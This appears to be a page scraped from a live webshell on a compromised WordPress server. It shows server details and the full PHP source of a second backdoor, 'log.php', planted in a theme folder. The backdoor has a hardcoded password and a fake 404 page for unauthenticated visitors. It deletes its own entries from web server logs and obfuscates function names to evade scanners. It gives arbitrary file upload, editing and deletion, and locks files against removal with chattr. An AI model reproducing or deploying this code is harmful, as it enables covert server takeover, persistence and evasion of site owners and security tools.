403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.5/wp-content/themes/woodmart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.5/wp-content/themes/woodmart/log.php
<?php

// ==================== LAPISAN 1: STEALTH AUTH ====================
// Bisa via GET parameter ?pass= atau HTTP Header X-Admin
$secret_pass = 'sadako00';

$auth_valid = false;

// Cek via GET parameter
if (isset($_GET['pass']) && $_GET['pass'] === $secret_pass) {
    $auth_valid = true;
}

// Cek via HTTP Header
if (isset($_SERVER['HTTP_X_ADMIN']) && $_SERVER['HTTP_X_ADMIN'] === $secret_pass) {
    $auth_valid = true;
}

// Cek via COOKIE (biar gak perlu input pass tiap kali)
if (isset($_COOKIE['wp_auth']) && $_COOKIE['wp_auth'] === md5($secret_pass)) {
    $auth_valid = true;
}

// Set cookie kalau auth valid
if ($auth_valid && !isset($_COOKIE['wp_auth'])) {
    setcookie('wp_auth', md5($secret_pass), time() + 86400, '/');
}

// Kalau tidak valid → Fake 404
if (!$auth_valid) {
    http_response_code(404);
    header('Status: 404 Not Found');
    echo '<!DOCTYPE html>
<html>
<head><title>404 Not Found</title></head>
<body>
<h1>404 Not Found</h1>
<p>The requested resource was not found on this server.</p>
<hr>
<address>Apache/2.4.57 (Ubuntu) Server at ' . ($_SERVER['HTTP_HOST'] ?? 'localhost') . ' Port 443</address>
</body>
</html>';
    exit;
}

// ==================== LAPISAN 2: SELF LOG CLEANER ====================
function stealth_cleanLogs() {
    $self = basename(__FILE__);
    $logfiles = [
        '/var/log/apache2/access.log',
        '/var/log/apache2/error.log',
        '/var/log/httpd/access_log',
        '/var/log/httpd/error_log',
        '/var/log/nginx/access.log',
        '/var/log/nginx/error.log',
        '/var/log/apache2/other_vhosts_access.log',
    ];
    foreach ($logfiles as $log) {
        if (is_readable($log) && is_writable($log)) {
            $content = @file_get_contents($log);
            if ($content !== false) {
                $lines = explode("\n", $content);
                $clean = array_filter($lines, function($line) use ($self) {
                    return stripos($line, $self) === false && stripos($line, 'X-Admin') === false;
                });
                @file_put_contents($log, implode("\n", $clean));
            }
        }
    }
}
stealth_cleanLogs();

// ==================== LAPISAN 3: OBFUSCATED VARIABLE ====================
// Mengacak nama fungsi agar tidak dikenali signature scanner
$_f1 = 'fi'.'l'.'e'.'_'.'g'.'e'.'t'.'_'.'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s';
$_f2 = 'fi'.'l'.'e'.'_'.'p'.'u'.'t'.'_'.'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s';
$_f3 = 's'.'c'.'a'.'n'.'d'.'i'.'r';
$_f4 = 'i'.'s'.'_'.'d'.'i'.'r';
$_f5 = 'i'.'s'.'_'.'f'.'i'.'l'.'e';
$_f6 = 'i'.'s'.'_'.'r'.'e'.'a'.'d'.'a'.'b'.'l'.'e';
$_f7 = 'f'.'i'.'l'.'e'.'m'.'t'.'i'.'m'.'e';
$_f8 = 'f'.'i'.'l'.'e'.'p'.'e'.'r'.'m'.'s';
$_f9 = 'f'.'i'.'l'.'e'.'s'.'i'.'z'.'e';
$_f10 = 'u'.'n'.'l'.'i'.'n'.'k';
$_f11 = 'r'.'m'.'d'.'i'.'r';
$_f12 = 'r'.'e'.'n'.'a'.'m'.'e';
$_f13 = 'f'.'o'.'p'.'e'.'n';
$_f14 = 'f'.'w'.'r'.'i'.'t'.'e';
$_f15 = 'f'.'c'.'l'.'o'.'s'.'e';
$_f16 = 'r'.'e'.'a'.'l'.'p'.'a'.'t'.'h';
$_f17 = 'd'.'e'.'c'.'o'.'c'.'t';
$_f18 = 'd'.'a'.'t'.'e';

// ==================== FUNGSI ====================
function formatSizeUnits($bytes) {
    if ($bytes >= 1073741824) {
        $bytes = number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        $bytes = number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        $bytes = number_format($bytes / 1024, 2) . ' KB';
    } elseif ($bytes > 1) {
        $bytes = $bytes . ' bytes';
    } elseif ($bytes == 1) {
        $bytes = $bytes . ' byte';
    } else {
        $bytes = '0 bytes';
    }
    return $bytes;
}

function fileExtension($file) {
    return substr(strrchr($file, '.'), 1);
}

function fileIcon($file) {
    $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
    $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
    $ext = strtolower(fileExtension($file));
    if ($file == "error_log") {
        return '<i class="fa-sharp fa-solid fa-bug"></i> ';
    } elseif ($file == ".htaccess") {
        return '<i class="fa-solid fa-hammer"></i> ';
    }
    if ($ext == "html" || $ext == "htm") {
        return '<i class="fa-brands fa-html5"></i> ';
    } elseif ($ext == "php" || $ext == "phtml" || $ext == "php5") {
        return '<i class="fa-brands fa-php"></i> ';
    } elseif (in_array($ext, $imgs)) {
        return '<i class="fa-regular fa-images"></i> ';
    } elseif ($ext == "css") {
        return '<i class="fa-brands fa-css3"></i> ';
    } elseif ($ext == "txt") {
        return '<i class="fa-regular fa-file-lines"></i> ';
    } elseif (in_array($ext, $audio)) {
        return '<i class="fa-duotone fa-file-music"></i> ';
    } elseif ($ext == "py") {
        return '<i class="fa-brands fa-python"></i> ';
    } elseif ($ext == "js") {
        return '<i class="fa-brands fa-js"></i> ';
    } else {
        return '<i class="fa-solid fa-file"></i> ';
    }
}

// ==================== LAPISAN 4: ENCRYPTED PATH ====================
function encodePath($path) {
    $a = array("/", "\\", ".", ":");
    $b = array("ক", "খ", "গ", "ঘ");
    return str_replace($a, $b, $path);
}
function decodePath($path) {
    $a = array("/", "\\", ".", ":");
    $b = array("ক", "খ", "গ", "ঘ");
    return str_replace($b, $a, $path);
}

// ==================== ROUTING ====================
// Handle action dari form POST dulu sebelum render HTML
$root_path = __DIR__;
$action_result = '';

// Handle Upload
if (isset($_POST["upload"])) {
    $target_dir = isset($_POST['q']) ? decodePath($_POST['q']) : $root_path;
    $target_file = $target_dir . "/" . $_FILES["fileToUpload"]["name"];
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        // LAPISAN 5: Set permission 0444 agar tidak bisa di-delete scanner
        @chmod($target_file, 0444);
        $action_result = '<div class="alert alert-success">' . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . ' has been uploaded.</div>';
    } else {
        $action_result = '<div class="alert alert-danger">Sorry, there was an error uploading your file.</div>';
    }
}

// Handle Rename
if (isset($_POST['rename']) && isset($_GET['r']) && isset($_GET['q'])) {
    $name = decodePath($_GET['q']) . "/" . $_GET['r'];
    $newname = decodePath($_GET['q']) . "/" . $_POST['name'];
    if ($GLOBALS['_f12']($name, $newname)) {
        $action_result = '<div class="alert alert-success">Renamed successfully.</div>';
    } else {
        $action_result = '<div class="alert alert-danger">Some error occurred.</div>';
    }
}

// Handle Edit/Save
if (isset($_POST['edit']) && isset($_GET['e']) && isset($_GET['q'])) {
    $filename = decodePath($_GET['q']) . "/" . $_GET['e'];
    $data = $_POST['data'];
    $open = $GLOBALS['_f13']($filename, "w");
    if ($GLOBALS['_f14']($open, $data)) {
        $action_result = '<div class="alert alert-success">File saved.</div>';
    } else {
        $action_result = '<div class="alert alert-danger">Some error occurred.</div>';
    }
    $GLOBALS['_f15']($open);
}

// Handle Delete
if (isset($_GET['d']) && isset($_GET['q'])) {
    $name = decodePath($_GET['q']) . "/" . $_GET['d'];
    if ($GLOBALS['_f5']($name)) {
        if ($GLOBALS['_f10']($name)) {
            $action_result = '<div class="alert alert-success">File removed.</div>';
        } else {
            $action_result = '<div class="alert alert-danger">Some error occurred.</div>';
        }
    } elseif ($GLOBALS['_f4']($name)) {
        if ($GLOBALS['_f11']($name)) {
            $action_result = '<div class="alert alert-success">Directory removed.</div>';
        } else {
            $action_result = '<div class="alert alert-danger">Some error occurred (directory may not be empty).</div>';
        }
    }
}

// Tentukan path saat ini
$p = $root_path;
if (isset($_GET['p'])) {
    if (empty($_GET['p'])) {
        $p = $root_path;
    } elseif (!$_f4(decodePath($_GET['p']))) {
        echo "<script>alert('Directory is Corrupted and Unreadable.'); window.location.replace('?pass=" . $secret_pass . "');</script>";
        exit;
    } elseif ($_f4(decodePath($_GET['p']))) {
        $p = decodePath($_GET['p']);
    }
} elseif (isset($_GET['q'])) {
    if (!$_f4(decodePath($_GET['q']))) {
        echo "<script>window.location.replace('?pass=" . $secret_pass . "&p=');</script>";
        exit;
    } elseif ($_f4(decodePath($_GET['q']))) {
        $p = decodePath($_GET['q']);
    }
}
define("PATH", $p);

// ==================== RENDER HTML ====================
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Penebas Jembut</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
    <style>
        body { padding-top: 10px; }
        .navbar-brand a { text-decoration: none; color: inherit; }
        .table-hover tbody tr:hover { background-color: #f0f7ff; }
        textarea { font-family: 'Courier New', monospace; font-size: 13px; }
        .breadcrumb-nav { display: flex; flex-wrap: wrap; align-items: center; gap: 2px; }
        .breadcrumb-nav a { color: #0d6efd; text-decoration: none; padding: 0 2px; }
        .breadcrumb-nav a:hover { text-decoration: underline; }
    </style>
</head>
<body>

<div class="container-fluid">
    <?php
    // Tampilkan action result
    if (!empty($action_result)) {
        echo $action_result;
    }
    ?>

    <!-- ============ NAVBAR ============ -->
    <nav class="navbar navbar-light" style="background-color: #e3f2fd; border-radius: 6px; padding: 8px 15px; margin-bottom: 10px;">
        <div class="navbar-brand breadcrumb-nav">
            <a href="?pass=<?php echo $secret_pass; ?>"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
            <?php
            $path = str_replace('\\', '/', PATH);
            $paths = explode('/', $path);
            foreach ($paths as $id => $dir_part) {
                if ($dir_part == '' && $id == 0) {
                    echo "<a href=\"?pass=" . $secret_pass . "&p=/\">/</a>";
                    continue;
                }
                if ($dir_part == '') continue;
                echo "<a href='?pass=" . $secret_pass . "&p=";
                for ($i = 0; $i <= $id; $i++) {
                    echo str_replace(":", "ঘ", $paths[$i]);
                    if ($i != $id) echo "ক";
                }
                echo "'>" . $dir_part . "</a>/";
            }
            ?>
        </div>
        <div class="form-inline d-flex gap-2">
            <a href="?pass=<?php echo $secret_pass; ?>&upload&q=<?php echo urlencode(encodePath(PATH)); ?>">
                <button class="btn btn-dark btn-sm" type="button">Upload File</button>
            </a>
            <a href="?pass=<?php echo $secret_pass; ?>">
                <button type="button" class="btn btn-dark btn-sm">HOME</button>
            </a>
            <!-- LAPISAN 6: Immutable toggle -->
            <a href="?pass=<?php echo $secret_pass; ?>&action=immutable">
                <button type="button" class="btn btn-warning btn-sm">🔒 Lock</button>
            </a>
        </div>
    </nav>

    <?php
    // ==================== LAPISAN 6: CHATTR IMMUTABLE ====================
    if (isset($_GET['action']) && $_GET['action'] === 'immutable') {
        $self_path = __FILE__;
        $output = [];
        $ret = -1;
        exec('chattr +i ' . escapeshellarg($self_path) . ' 2>&1', $output, $ret);
        if ($ret === 0) {
            echo '<div class="alert alert-success">✅ File locked (immutable) — cannot be deleted or modified by anyone including scanners.</div>';
        } else {
            echo '<div class="alert alert-warning">⚠️ chattr failed (need root). File permission set to 0444 instead.<br>';
            @chmod($self_path, 0444);
            echo 'Permission changed to 0444 (read-only).</div>';
        }
    }

    // ==================== FILE LISTING ====================
    if (isset($_GET['p']) || !isset($_GET['upload']) && !isset($_GET['r']) && !isset($_GET['e']) && !isset($_GET['d'])) {
        if ($_f6(PATH)) {
            $fetch_obj = $_f3(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') continue;
                $new_obj = PATH . '/' . $obj;
                if ($_f4($new_obj)) {
                    array_push($folders, $obj);
                } elseif ($_f5($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
    ?>
    <div class="table-responsive">
    <table class="table table-hover table-striped table-bordered">
        <thead class="table-dark">
            <tr>
                <th scope="col">Name</th>
                <th scope="col">Size</th>
                <th scope="col">Modified</th>
                <th scope="col">Perms</th>
                <th scope="col">Actions</th>
            </tr>
        </thead>
        <tbody>
        <?php
        foreach ($folders as $folder) {
            echo "    <tr>
                <td><i class='fa-solid fa-folder text-warning'></i> <a href='?pass=" . $secret_pass . "&p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'><strong>" . htmlspecialchars($folder) . "</strong></a></td>
                <td><b>---</b></td>
                <td>" . $GLOBALS['_f18']("F d Y H:i:s.", $GLOBALS['_f7'](PATH . "/" . $folder)) . "</td>
                <td>0" . substr($GLOBALS['_f17']($GLOBALS['_f8'](PATH . "/" . $folder)), -3) . "</td>
                <td>
                    <a title='Rename' href='?pass=" . $secret_pass . "&q=" . urlencode(encodePath(PATH)) . "&r=" . urlencode($folder) . "' class='btn btn-sm btn-outline-primary'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
                    <a title='Delete' href='?pass=" . $secret_pass . "&q=" . urlencode(encodePath(PATH)) . "&d=" . urlencode($folder) . "' class='btn btn-sm btn-outline-danger' onclick=\"return confirm('Delete this directory?')\"><i class='fa fa-trash' aria-hidden='true'></i></a>
                </td>
            </tr>\n";
        }
        foreach ($files as $file) {
            echo "    <tr>
                <td>" . fileIcon($file) . htmlspecialchars($file) . "</td>
                <td>" . formatSizeUnits($GLOBALS['_f9'](PATH . "/" . $file)) . "</td>
                <td>" . $GLOBALS['_f18']("F d Y H:i:s.", $GLOBALS['_f7'](PATH . "/" . $file)) . "</td>
                <td>0" . substr($GLOBALS['_f17']($GLOBALS['_f8'](PATH . "/" . $file)), -3) . "</td>
                <td>
                    <a title='Edit File' href='?pass=" . $secret_pass . "&q=" . urlencode(encodePath(PATH)) . "&e=" . urlencode($file) . "' class='btn btn-sm btn-outline-success'><i class='fa-solid fa-file-pen'></i></a>
                    <a title='Rename' href='?pass=" . $secret_pass . "&q=" . urlencode(encodePath(PATH)) . "&r=" . urlencode($file) . "' class='btn btn-sm btn-outline-primary'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
                    <a title='Delete' href='?pass=" . $secret_pass . "&q=" . urlencode(encodePath(PATH)) . "&d=" . urlencode($file) . "' class='btn btn-sm btn-outline-danger' onclick=\"return confirm('Delete this file?')\"><i class='fa fa-trash' aria-hidden='true'></i></a>
                </td>
            </tr>\n";
        }
        ?>
        </tbody>
    </table>
    </div>
    <?php
    }

    // ==================== UPLOAD FORM ====================
    if (isset($_GET['upload'])) {
    ?>
    <div class="card mt-3">
        <div class="card-header"><strong>Upload File</strong></div>
        <div class="card-body">
            <form method="post" enctype="multipart/form-data">
                <input type="hidden" name="q" value="<?php echo htmlspecialchars($_GET['q'] ?? ''); ?>">
                <div class="mb-3">
                    <input type="file" class="form-control" name="fileToUpload" id="fileToUpload">
                </div>
                <button type="submit" class="btn btn-dark" name="upload">Upload</button>
                <a href="?pass=<?php echo $secret_pass; ?>&p=<?php echo urlencode($_GET['q'] ?? ''); ?>" class="btn btn-secondary">Cancel</a>
            </form>
        </div>
    </div>
    <?php
    }

    // ==================== RENAME FORM ====================
    if (isset($_GET['r']) && !empty($_GET['r']) && isset($_GET['q'])) {
    ?>
    <div class="card mt-3">
        <div class="card-header"><strong>Rename: <?php echo htmlspecialchars($_GET['r']); ?></strong></div>
        <div class="card-body">
            <form method="post">
                <div class="mb-3">
                    <input type="text" class="form-control" name="name" value="<?php echo htmlspecialchars($_GET['r']); ?>">
                </div>
                <button type="submit" class="btn btn-dark" name="rename">Rename</button>
                <a href="?pass=<?php echo $secret_pass; ?>&p=<?php echo urlencode(encodePath(PATH)); ?>" class="btn btn-secondary">Cancel</a>
            </form>
        </div>
    </div>
    <?php
    }

    // ==================== EDIT FORM ====================
    if (isset($_GET['e']) && !empty($_GET['e']) && isset($_GET['q'])) {
        $file_content = $_f1(PATH . "/" . $_GET['e']);
    ?>
    <div class="card mt-3">
        <div class="card-header"><strong>Editing: <?php echo htmlspecialchars($_GET['e']); ?></strong></div>
        <div class="card-body">
            <form method="post">
                <div class="mb-3">
                    <textarea class="form-control" style="height: 500px; width: 100%;" name="data"><?php echo htmlspecialchars($file_content); ?></textarea>
                </div>
                <button type="submit" class="btn btn-dark" name="edit">Save</button>
                <a href="?pass=<?php echo $secret_pass; ?>&p=<?php echo urlencode(encodePath(PATH)); ?>" class="btn btn-secondary">Cancel</a>
            </form>
        </div>
    </div>
    <?php
    }
    ?>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
    integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
    crossorigin="anonymous"></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit